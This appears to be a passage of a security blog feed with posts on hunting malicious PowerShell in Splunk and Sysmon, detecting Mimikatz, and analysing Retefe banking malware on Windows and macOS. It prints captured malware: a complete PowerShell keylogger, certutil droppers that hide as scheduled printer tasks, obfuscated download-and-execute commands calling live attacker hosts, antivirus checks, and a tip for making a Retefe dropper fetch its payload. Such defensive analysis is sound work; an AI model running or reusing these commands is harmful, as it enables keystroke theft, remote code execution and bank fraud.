wAgADQAMAAKACQAVABvAHAAVwBpAG4AZABvAHcAIAA9ACAAWwBVAHMAZQByAFcAaQBuAGQAbwB3AHMAXQA6ADoARwBlAHQARgBvAHIAZQBnAHIAbwB1AG4AZABXAGkAbgBkAG8AdwAoACkAOwAgACQAVwBpAG4AZABvAHcAVABpAHQAbABlACAAPQAgACgARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AYQBpAG4AVwBpAG4AZABvAHcASABhAG4AZABsAGUAIAAtAGUAcQAgACQAVABvAHAAVwBpAG4AZABvAHcAIAB9ACkALgBNAGEAaQBuAFcAaQBuAGQAbwB3AFQAaQB0AGwAZQAKACQAbABvAG8AdAAgAD0AIAAoACQAZQBuAHYAOgBMAE8AQwBBAEwAQQBQAFAARABBAFQAQQAgACsAIAAiAFwAZAB5AG4AYQBcAGwAbwBvAHQAXABLAGUAeQBsAG8AZwBcACIAKQA7ACAAbQBkACAAJABsAG8AbwB0AAkACQAKACQAZwBvAHQAaQB0ACAAPQAgACIAIgAKAAkACQBmAG8AcgAgACgAJABjAGgAYQByACAAPQAgADEAOwAgACQAYwBoAGEAcgAgAC0AbABlACAAMgA1ADQAOwAgACQAYwBoAGEAcgArACsAKQAgAHsAJAB2AGsAZQB5ACAAPQAgACQAYwBoAGEAcgAKAAkACQAJACQAZwBvAHQAaQB0ACAAPQAgACQAZwBlAHQASwBlAHkAUwB0AGEAdABlADoAOgBHAGUAdABBAHMAeQBuAGMASwBlAHkAUwB0AGEAdABlACgAJAB2AGsAZQB5ACkACgAJAAkAaQBmACAAKAAkAGcAbwB0AGkAdAAgAC0AZQBxACAALQAzADIANwA2ADcAKQAgAHsAJABsAF8AcwBoAGkAZgB0ACAAPQAgACQAZwBlAHQASwBlAHkAUwB0AGEAdABlADoAOgBHAGUAdABBAHMAeQBuAGMASwBlAHkAUwB0AGEAdABlACgAMQA2ADAAKQAKAAkACQAJAAkAJAByAF8AcwBoAGkAZgB0ACAAPQAgACQAZwBlAHQASwBlAHkAUwB0AGEAdABlADoAOgBHAGUAdABBAHMAeQBuAGMASwBlAHkAUwB0AGEAdABlACgAMQA2ADEAKQAKAAkACQAJAAkAJABjAGEAcABzAF8AbABvAGMAawAgAD0AIABbAGMAbwBuAHMAbwBsAGUAXQA6ADoAQwBhAHAAcwBMAG8AYwBrAAoACQAJAAkACQAkAHMAYwBhAG4AYwBvAGQAZQAgAD0AIAAkAGcAZQB0AEsAZQB5ADoAOgBNAGEAcABWAGkAcgB0AHUAYQBsAEsAZQB5ACgAJAB2AGsAZQB5ACwAIAAkAE0AQQBQAFYASwBfAFYAUwBDAF8AVABPAF8AVgBLAF8ARQBYACkACgAJAAkACQAJACQAawBiAHMAdABhAHQAZQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAyADUANgAKAAkACQAJAAkAJABjAGgAZQBjAGsAawBiAHMAdABhAHQAZQAgAD0AIAAkAGcAZQB0AEsAQgBTAHQAYQB0AGUAOgA6AEcAZQB0AEsAZQB5AGIAbwBhAHIAZABTAHQAYQB0AGUAKAAkAGsAYgBzAHQAYQB0AGUAKQAKAAkACQAJAAkAJABtAHkAYwBoAGEAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIAAiAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFMAdAByAGkAbgBnAEIAdQBpAGwAZABlAHIAIgA7AAoACQAJAAkACQAkAHUAbgBpAGMAbwBkAGUAXwByAGUAcwAgAD0AIAAkAGcAZQB0AFUAbgBpAGMAbwBkAGUAOgA6AFQAbwBVAG4AaQBjAG8AZABlACgAJAB2AGsAZQB5ACwAIAAkAHMAYwBhAG4AYwBvAGQAZQAsACAAJABrAGIAcwB0AGEAdABlACwAIAAkAG0AeQBjAGgAYQByACwAIAAkAG0AeQBjAGgAYQByAC4AQwBhAHAAYQBjAGkAdAB5ACwAIAAwACkACgAJAAkACQAJAGkAZgAgACgAJAB1AG4AaQBjAG8AZABlAF8AcgBlAHMAIAAtAGcAdAAgADAAKQAgAHsATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGwAbwBnAGYAaQBsAGUAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAbgBpAGMAbwBkAGUAIAAtAEEAcABwAGUAbgBkACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAoACQAdABpAG0AZQAgACsAIAAiACAAIgAgACsAIAAkAFcAaQBuAGQAbwB3AFQAaQB0AGwAZQApACwAIAAkAG0AeQBjAGgAYQByAC4AVABvAFMAdAByAGkAbgBnACgAKQAJAAkACQAJAH0ACQAJAAkAfQAJAAkAfQAJAH0AfQAKAAoARAB5AG4AQQBtAGkAdABlAC0ASwBlAHkAIAAKAA==
Which once decoded is:
$loot = ($env:LOCALAPPDATA + "\dyna\loot\Keylog\"); md $loot
function DynAmite-Key {$dateandtime = Get-Date -Format yyyy-MM-dd-HH-mm;$time = Get-Date -Format HH-mm
Add-Type@"
using System; using System.Runtime.InteropServices; public class UserWindows {[DllImport("user32.dll")]
    public static extern IntPtr GetForegroundWindow();}
"@
$logfile = $loot + "keylog_" + "$dateandtime"+ ".log"
$MAPVK_VK_TO_VSC = 0x00
$MAPVK_VSC_TO_VK = 0x01
$MAPVK_VK_TO_CHAR = 0x02
$MAPVK_VSC_TO_VK_EX = 0x03
$MAPVK_VK_TO_VSC_EX = 0x04
$virtualkc_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
'@
$kbstate_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
'@
$mapchar_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
'@
$tounicode_sig = @'
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
$getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru
$getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru
$getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru
$getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru
while ($true) {Start-Sleep -Milliseconds 40
$TopWindow = [UserWindows]::GetForegroundWindow();$WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq$TopWindow }).MainWindowTitle
$loot = ($env:LOCALAPPDATA + "\dyna\loot\Keylog\"); md $loot
$gotit = ""
for ($char = 1;$char-le 254;$char++) {$vkey = $char
$gotit = $getKeyState::GetAsyncKeyState($vkey)
if ($gotit-eq -32767) {$l_shift = $getKeyState::GetAsyncKeyState(160)
$r_shift = $getKeyState::GetAsyncKeyState(161)
$caps_lock = [console]::CapsLock
$scancode = $getKey::MapVirtualKey($vkey, $MAPVK_VSC_TO_VK_EX)
$kbstate = New-Object Byte[] 256
$checkkbstate = $getKBState::GetKeyboardState($kbstate)
$mychar = New-Object -TypeName "System.Text.StringBuilder";
$unicode_res = $getUnicode::ToUnicode($vkey, $scancode, $kbstate, $mychar, $mychar.Capacity, 0)
if ($unicode_res-gt 0) {Out-File -FilePath $logfile -Encoding Unicode -Append -InputObject ($time + "" + $WindowTitle), $mychar.ToString()    }   }  }}}

DynAmite-Key
This is a Keylogger implemented with PowerShell. Very interesting usage of PowerShell :-)




powershell -win hidden -enc JABsAG8AbwB0ACAAPQAgACgAJABlAG4AdgA6AEwATwBDAEEATABBAFAAUABEAEEAVABBACAAKwAgACIAXABkAHkAbgBhAFwAIgApADsAIABtAGQAIAAkAGwAbwBvAHQACgBjAGUAcgB0AHUAdABpAGwAIAAtAGQAZQBjAG8AZABlACAAcgBlAHMALgBjAHIAdAAgACgAJABsAG8AbwB0ACAAKwAgACIAcgBlAHMAIgApADsAIABjAGUAcgB0AHUAdABpAGwAIAAtAGQAZQBjAG8AZABlACAAawBsAC4AYwByAHQAIAAoACQAbABvAG8AdAAgACsAIAAiAGsAbAAuAGUAeABlACIAKQA7ACAAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAHMAdAAuAGMAcgB0ACAAKAAkAGwAbwBvAHQAIAArACAAIgBzAHQALgBlAHgAZQAiACkAOwAgACAAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAGMAcgB5AC4AYwByAHQAIAAoACQAbABvAG8AdAAgACsAIAAiAGMAcgB5AC4AZQB4AGUAIgApADsAIABjAGUAcgB0AHUAdABpAGwAIAAtAGQAZQBjAG8AZABlACAAdAAxAC4AYwByAHQAIAAoACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACIAXAB0ADEALgB4AG0AbAAiACkAOwAgAGMAZQByAHQAdQB0AGkAbAAgAC0AZABlAGMAbwBkAGUAIAB0ADIALgBjAHIAdAAgACgAJABlAG4AdgA6AFQARQBNAFAAIAArACAAIgBcAHQAMgAuAHgAbQBsACIAKQA7ACAAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAHQAMwAuAGMAcgB0ACAAKAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAiAFwAdAAzAC4AeABtAGwAIgApADsAIABjAGUAcgB0AHUAdABpAGwAIAAtAGQAZQBjAG8AZABlACAAdAA0AC4AYwByAHQAIAAoACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACIAXAB0ADQALgB4AG0AbAAiACkAOwAgAGMAZQByAHQAdQB0AGkAbAAgAC0AZABlAGMAbwBkAGUAIAB0ADUALgBjAHIAdAAgACgAJABlAG4AdgA6AFQARQBNAFAAIAArACAAIgBcAHQANQAuAHgAbQBsACIAKQA7ACAAYwBlAHIAdAB1AHQAaQBsACAALQBkAGUAYwBvAGQAZQAgAGIAZAAuAGMAcgB0ACAAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAYgBkAC4AZQB4AGUACgBzAGMAaAB0AGEAcwBrAHMALgBlAHgAZQAgAC8AYwByAGUAYQB0AGUAIAAvAFQATgAgACIATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBpAG4AZABvAHcAcwAgAFAAcgBpAG4AdABlAHIAIABNAGEAbgBhAGcAZQByAFwAMQAiACAALwBYAE0ATAAgACgAJABlAG4AdgA6AFQARQBNAFAAIAArACAAIgBcAHQAMQAuAHgAbQBsACIAKQAKAHMAYwBoAHQAYQBzAGsAcwAuAGUAeABlACAALwBjAHIAZQBhAHQAZQAgAC8AVABOACAAIgBNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzACAAUAByAGkAbgB0AGUAcgAgAE0AYQBuAGEAZwBlAHIAXAAyACIAIAAvAFgATQBMACAAKAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAiAFwAdAAyAC4AeABtAGwAIgApAAoAcwBjAGgAdABhAHMAawBzAC4AZQB4AGUAIAAvAGMAcgBlAGEAdABlACAALwBUAE4AIAAiAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMAIABQAHIAaQBuAHQAZQByACAATQBhAG4AYQBnAGUAcgBcADMAIgAgAC8AWABNAEwAIAAoACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACIAXAB0ADMALgB4AG0AbAAiACkACgBzAGMAaAB0AGEAcwBrAHMALgBlAHgAZQAgAC8AYwByAGUAYQB0AGUAIAAvAFQATgAgACIATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBpAG4AZABvAHcAcwAgAFAAcgBpAG4AdABlAHIAIABNAGEAbgBhAGcAZQByAFwANAAiACAALwBYAE0ATAAgACgAJABlAG4AdgA6AFQARQBNAFAAIAArACAAIgBcAHQANAAuAHgAbQBsACIAKQAKAHMAYwBoAHQAYQBzAGsAcwAuAGUAeABlACAALwBjAHIAZQBhAHQAZQAgAC8AVABOACAAIgBNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzACAAUAByAGkAbgB0AGUAcgAgAE0AYQBuAGEAZwBlAHIAXAA1ACIAIAAvAFgATQBMACAAKAAkAGUAbgB2ADoAVABFAE0AUAAgACsAIAAiAFwAdAA1AC4AeABtAGwAIgApAAoAcwBjAGgAdABhAHMAawBzAC4AZQB4AGUAIAAvAHIAdQBuACAALwBUAE4AIAAiAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMAIABQAHIAaQBuAHQAZQByACAATQBhAG4AYQBnAGUAcgBcADEAIgAKAHMAYwBoAHQAYQBzAGsAcwAuAGUAeABlACAALwByAHUAbgAgAC8AVABOACAAIgBNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzACAAUAByAGkAbgB0AGUAcgAgAE0AYQBuAGEAZwBlAHIAXAAyACIACgBzAGMAaAB0AGEAcwBrAHMALgBlAHgAZQAgAC8AcgB1AG4AIAAvAFQATgAgACIATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAVwBpAG4AZABvAHcAcwAgAFAAcgBpAG4AdABlAHIAIABNAGEAbgBhAGcAZQByAFwAMwAiAAoAcwBjAGgAdABhAHMAawBzAC4AZQB4AGUAIAAvAHIAdQBuACAALwBUAE4AIAAiAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFcAaQBuAGQAbwB3AHMAIABQAHIAaQBuAHQAZQByACAATQBhAG4AYQBnAGUAcgBcADQAIgAKAHMAYwBoAHQAYQBzAGsAcwAuAGUAeABlACAALwByAHUAbgAgAC8AVABOACAAIgBNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABXAGkAbgBkAG8AdwBzACAAUAByAGkAbgB0AGUAcgAgAE0AYQBuAGEAZwBlAHIAXAA1ACIACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAoACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACIAXAAqAC4AeABtAGwAIgApACAALQBSAGUAYwB1AHIAcwBlACAALQBGAG8AcgBjAGUA

Following command, use the 'certutil' to create a binary file which it is later executed, as showed below:
$loot = ($env:LOCALAPPDATA + "\dyna\"); md $loot
certutil -decode res.crt ($loot + "res"); certutil -decode kl.crt ($loot + "kl.exe"); certutil -decode st.crt ($loot + "st.exe");  certutil -decode cry.crt ($loot + "cry.exe"); certutil -decode t1.crt ($env:TEMP + "\t1.xml"); certutil -decode t2.crt ($env:TEMP + "\t2.xml"); certutil -decode t3.crt ($env:TEMP + "\t3.xml"); certutil -decode t4.crt ($env:TEMP + "\t4.xml"); certutil -decode t5.crt ($env:TEMP + "\t5.xml"); certutil -decode bd.crt C:\ProgramData\bd.exe
schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\1" /XML ($env:TEMP + "\t1.xml")
schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\2" /XML ($env:TEMP + "\t2.xml")
schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\3" /XML ($env:TEMP + "\t3.xml")
schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\4" /XML ($env:TEMP + "\t4.xml")
schtasks.exe /create /TN "Microsoft\Windows\Windows Printer Manager\5" /XML ($env:TEMP + "\t5.xml")
schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\1"
schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\2"
schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\3"
schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\4"
schtasks.exe /run /TN "Microsoft\Windows\Windows Printer Manager\5"
Remove-Item ..



"C:\Windows\system32\windowspowershell\v1.0\powershell.exe" -sta -noprofile -executionpolicy bypass -encodedcommand JAB4AD0AJwBhADMAZgA1ADcAM.....CQAXwAuAEUAeABjAGUAcAB0AGkAbwBuAC4ATQBlAHMAcwBhAGcAZQApACAALQBGAG8AcgBlACAAUgBlAGQAIAANAAoAfQA=

Next one in the list is quite interesting as well. It uses some of the functions in in .NET framework to load additional code.
$x='a3f57212-1462-4ae7-8745-5e178820d04c';$y='Z:\tmp\0071d19d5252c44f7678674387862fc262846790a3f7a22fd1a08bef822b4fa4.exe';try {
if ([Environment]::Version.Major -ge 4)
  { $null = [Reflection.Assembly]::UnsafeLoadFrom($y) } else { $null = [Reflection.Assembly]::LoadFile($y)}
  . ([_32._88]::_74($x))
  exit $LASTEXITCODE
}
catch[NotSupportedException]
{
Write-Host'Application location is untrusted. Copy file to a local drive, and try again.' -ForegroundColor Red
}
catch {
Write-Host ("Error: " + $_.Exception.Message) -Fore Red
}




powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBTAFkAcwBUAGUATQAuAE4AZQB0AC4AUwBFAFIAdgBpAEMAZQBQAG8AaQBOAHQATQBBAE4AQQBHAEUAUgBdADoAOgBFAHgAUABFAEMAdAAxADAAMABDAG8ATgB0AGkATgB1AEUAIAA9ACAAMAA7ACQAdwBDAD0ATgBlAHcALQBPAGIASgBlAEMAdAAgAFMAWQBzAHQARQBtAC4ATgBlAFQALgBXAGUAYgBDAGwAaQBFAE4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBBAEQAZQBSAHMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAQwAuAFAAcgBPAHgAeQAgAD0AIABbAFMAeQBTAFQAZQBNAC4ATgBlAFQALgBXAGUAYgBSAGUAcQB1AEUAUwB0AF0AOgA6AEQARQBmAEEAVQBsAHQAVwBFAEIAUAByAE8AWABZADsAJABXAGMALgBQAFIATwBYAHkALgBDAHIARQBEAGUAbgBUAGkAQQBMAFMAIAA9ACAAWwBTAHkAcwB0AEUAbQAuAE4ARQB0AC4AQwBSAEUAZABFAG4AVABJAEEATABDAEEAYwBoAEUAXQA6ADoARABlAEYAQQB1AGwAVABOAGUAdAB3AG8AUgBLAEMAUgBlAGQARQBuAHQASQBBAGwAUwA7ACQASwA9ACcAdQApADEALAB5ACgAbQBqAGYAYQAqAEUANQAjADIATABPADMAfQA5AGgANgBjAC0AegBJAHgAXQBpAG8AawAlACcAOwAkAGkAPQAwADsAWwBjAGgAQQBSAFsAXQBdACQAQgA9ACgAWwBDAEgAQQByAFsAXQBdACgAJAB3AGMALgBEAG8AdwBOAEwAbwBBAEQAUwB0AFIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMwA4AC4AMQAwADAALgAxADYAMwAuADMAOQA6ADgAMAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAEIAWABPAHIAJABrAFsAJABJACsAKwAlACQAawAuAEwAZQBuAEcAVABIAF0AfQA7AEkARQBYACAAKAAkAEIALQBqAG8AaQBuACcAJwApAA==
Last encoded command is basically a dropper. A normal User-Agent is defined to avoid detection
[SYsTeM.Net.SERviCePoiNtMANAGER]::ExPECt100CoNtiNuE = 0;$wC=New-ObJeCt SYstEm.NeT.WebCliENt;

$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HeADeRs.AdD('User-Agent',$u);$wC.PrOxy = 


[SySTeM.NeT.WebRequESt]::DEfAUltWEBPrOXY;$Wc.PROXy.CrEDenTiALS = [SystEm.NEt.CREdEnTIALCAchE]::DeFAulTNetwoRKCRedEntIAlS;$K='u)1,y(mjfa*E5#2LO3}9h6c-zIx]iok%';$i=0;[chAR[]]$B=([CHAr[]]

($wc.DowNLoADStRing("http://38.100.163.39:8080/index.asp")))|%{$_-BXOr$k[$I++%$k.LenGTH]};IEX ($B-join''



powershell -ExecutionPolicy ByPass -NoProfile -command (New-Object Net.WebClient).('Downl'+'oadfile').invoke('ht'+'tp://'+'zerobry.top/bomfunk/','C:\Users\angel\AppData\Local\Temp\gIGSBXS.exe');starT-ProCEss 'C:\Users\angel\AppData\Local\Temp\gIGSBXS.exe';
This PowerShell command acts as dropper. It is interesting to check the ParentProcessCommand as it using the character "^" to avoid detection, 
"C:\Windows\System32\cmd.exe" /c po^wers^he^l^l -Ex^ecutio^nPol^icy B^yP^ass -N^oP^rofile -com^mand (New-O^bj^ect N^et.WebCl^ient).('Downl'+'oadfile').invoke('ht'+'tp://'+'zerobry.top/bomfunk/','C:\Users\angel\AppData\Local\Temp\gIGSBXS.exe');starT-ProCEss 'C:\Users\angel\AppData\Local\Temp\gIGSBXS.exe';


The last command detects if there is Antivirus/Antispyware installed and running
powershell.exe -inputformat none -NoProfile -NoLogo -Command "&amp; {$avlist = @(); $os = Get-WmiObject Win32_OperatingSystem; if ($os.ProductType -eq 3) {Write-Host \"ServerOS|0\";} elseif ($os.Version -like \"5.*\") {Get-WmiObject -Namespace root\SecurityCenter -Class AntiVirusProduct | ForEach-Object {Write-Host \"$($_.displayName)|$(if ($_.onAccessScanningEnabled) {\"4096\"} else {\"0\"})\"};} else {Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | ForEach-Object {$avlist += \"$($_.displayName)|$($_.productState)\"};Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiSpywareProduct | ForEach-Object {$avlist += \"$($_.displayName)|$($_.productState)\"};} Write-Host ($avlist -join \"*\")}"



As showed, PowerShell can be abused in many different ways through the different phases of an intrusion, therefore it is very important to monitor suspicious PowerShell commands, and Sysmonitor+Splunk can really help on this purpose.

Indicators:
a64b9215aff8a71333e9a5df5cd3b371b6b0a6d6a44604a93f0ba928c4f60d8d
91746786d3db211a33bfb851029cb3b42224cbc1d01f8b45d8ab4d6ef872ab81
9d3b4f233a61322d9738700f9e42b729a160fe651167e8454a25fbc74e4cf9ef 
573301614d192de0ac34754e73c9f4ad036db318326421b66eb9fb394c7d3298 
0071d19d5252c44f7678674387862fc262846790a3f7a22fd1a08bef822b4fa4
64aac1af18109e6661fb86a52c4024f81ef761818651897cde47eb71d8825de9
6d57ecd0b30fd27b793120ba16c208e58a986961fa0afc9c603b06b9ef66f7d9





↧

Detecting Mimikatz launched by PowerShell

February 13, 2017, 11:20 am
$
0
0

Following my last post about how to hunt for malicious PowerShell commands, I'm interested to detect Mimikatz once it is launched through PowerShell, like for example with PowerShellEmpire framework. Mark Russinovich has just written that in order to detect Mimikatz you must monitor lsass.exe for process access.



So basically, I have created a simple filter in sysmon for event code 10 (ProcessAccess) with SourceImage PowerShell.exe and TargetImage lsass.exe





<ProcessAccessonmatch="include">
<SourceImagecondition="contains">powershell.exe</SourceImage>
<TargetImagecondition="contains">lsass.exe</TargetImage>
</ProcessAccess>



Now it is time to test if it works. 
So I use the Mimikatz module in PowerShellEmpire






In Splunk I detect the initial encoded PowerShell Command

 

After a few second I run a SPL query to see when the PowerShell.exe command accesses the process lsass.exe, which it is when mimikatz is executed :)







↧
↧

Hunting Retefe with Splunk - some interesting points

February 24, 2017, 7:28 am
$
0
0
While I was creating some Splunk use cases to detect malware (together with Sysmon) I was doing some test with malware Refete which I wrote quite a bit in this blog about it. 
There are a couple of things I found interested to share

The initial vector of infection is through Malspam with a fake bill in a DOCX file which contains some malicious code. However, this time the malicious code is PowerShell, instead of JS (more info in http://blog.angelalonso.es/2016/10/malicious-email-campaign-against-swiss.html)


This can be spotted straight forward in Splunk.





powershell -EncodedCommand "JABGAD0AJABlAG4AdgA6AFQAZQBtAHAAKwAnAFwAUgBCAFgAcgAxAGwAawA5AFAALgBqAHMAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBlAGwAZQA2AGkAZABmAGQAcQB3AGQAcgA2AG0AMgB3AC4AbwBuAGkAbwBuAC4AdABvAC8AUgBCAFgAcgAxAGwAawA5AFAALgBqAHMAPwBpAHAAPQAnACsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQBwAGkALgBpAHAAaQBmAHkALgBvAHIAZwAvACcAKQArACcAJgBpAGQAPQAnACsAKAAoAHcAbQBpAGMAIABwAGEAdABoACAAdwBpAG4AMwAyAF8AbABvAGcAaQBjAGEAbABkAGkAcwBrACAAZwBlAHQAIAB2AG8AbAB1AG0AZQBzAGUAcgBpAGEAbABuAHUAbQBiAGUAcgApAFsAMgBdACkALgB0AHIAaQBtACgAKQAuAHQAbwBMAG8AdwBlAHIAKAApACwAJABGACkAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAGMAbwBtACAAUwBoAGUAbABsAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuACkALgBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAoACQARgApADsA"

The command decoded, which acts as a dropper, is the following:


1
2
$F=$env:Temp+'\RBXr1lk9P.js';
(New-Object System.Net.WebClient).DownloadFile('https://ele6idfdqwdr6m2w.onion.to/RBXr1lk9P.js?ip='+(New-Object System.Net.WebClient).DownloadString('http://api.ipify.org/')+'&id='+((wmic path win32_logicaldisk get volumeserialnumber)[2]).trim().toLower(),$F);(New-Object -com Shell.Application).ShellExecute($F);

Basically, it requests a file located in a Tor node (which is the payload) through the onion.to website: https://ele6idfdqwdr6m2w.onion.to/RBXr1lk9P.js?ip=

To request the file, it is necessary to send the IP of the victim as parameter and the logical number of the disk. To do so, there are 2 things happening:

1) request to http://api.ipify.org/ in order to get the public IP of the victim
2) run the command ((wmic path win32_logicaldisk get volumeserialnumber)[2]) to extract the serial number of the logical disk.
If the IP is not from some specific countries or the serial number is empty the payload downloaded is empty as well, hence nothing happens. Actually, in some cases the parameter "2", doesn't work, and needs to be different.  For, example this command will work in some VirtualMachines (just need to put an IP from Switzerland in the w.x.y.z)


$F=$env:Temp+'\RBXr1lk9P.js';(New-Object System.Net.WebClient).DownloadFile('https://ele6idfdqwdr6m2w.onion.to/RBXr1lk9P.js?ip=w.x.y.z&id='+((wmic path win32_logicaldisk get volumeserialnumber)[4]).trim().toLower(),$F);(New-Object -com Shell.Application).ShellExecute($F)

Clearly, they are using the logical number for tracking purposes

Once the script is pulled the whole execution happens. Some JS code is executed, some additional tools are decompressed and execute (Tor and Proxifier), the browser processes are killed, etc.



However, a couple of new 'features' have been introduced since my last posts:
http://blog.angelalonso.es/2016/10/malicious-email-campaign-against-swiss.html
http://blog.angelalonso.es/2016/10/malicious-email-campaign-mimicking.html

First of all is the way that the Proxifier tool is launched, as the window now is hidden. This is done with the PowerShell command:



"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe""$t='[DllImport(\"user32.dll\")] public static extern bool ShowWindow(int handle, int state);';add-type -name w -member $t -namespace n;saps -FilePath \"Proxifier\";while(![n.w]::ShowWindow(([System.Diagnostics.Process]::GetProcessesByName(\"proxifier\")|gps).MainWindowHandle,0)){}"

Second, the Proxifier is configured to not be shown in the windows system Icon on the bottom left part of the desktop.



After that, the victim's traffic towards the banks is redirect to Tor. In order to steal the TAN SMS token, it is necessary to install a malicious APK, however here there are some changes as well:




Now the APK resides in a domain with a valid SSL certificate and the APK can be dowloaded by HTTPS. Before, this was not the case and the traffic was only HTTP

Note that the certificate has been registered a few days ago and the expiration date is 2 months




Moreover, if the victim is not a real victim, the link to download the APK is not the malicious APK, but the real 'Signal Private Messenger" tool, hence the victim's phone doesn't get infected. Some examples of the URL for different banks:

https://mobile-sicherheitapp.com/ZKB-Security-v19-02.apk
https://mobile-sicherheitapp.com/CreditSuisse-Security_v1902.apk

https://mobile-sicherheitapp.com/Raiffeisenc-Security-v_19-02.apk
↧

Retefe hitting MacOSX - Some interesting points

May 29, 2017, 2:31 pm
$
0
0
A few weeks ago Checkpoint posted about a malware in MacOSX OSX/Dok which it is the version of Retefe ported to Mac OS.

Most of the technical aspects of this specimen behaviour are described in the blog post referenced above, however there are some other interesting points I would like to highlight.

In order to install some of the tools used by the malware, like Tor, the malware requieres to gather some packets from homebrew, and this requieres Xcode to be installed, hence both of them are installed. 











It is possible to see the set of processes launched to install the different dependencies, and how some of the tools are installed from git.

 

Other than that, the configuration of the proxy to use the Tor node can be easily spot as it modifies the file  /Library/Preferences/SystemConfiguration/preferences.plist



Regarding the persistence of the malware, and for the specific sample with hassh 07b67d95176fb35e70c38561c8d67987, this is done by creating the file /Users/labtest/Library/LaunchAgents/homebrew.mxcl.tor.plist which launches the Tor process once the user (in this case labtest) logs into the system.

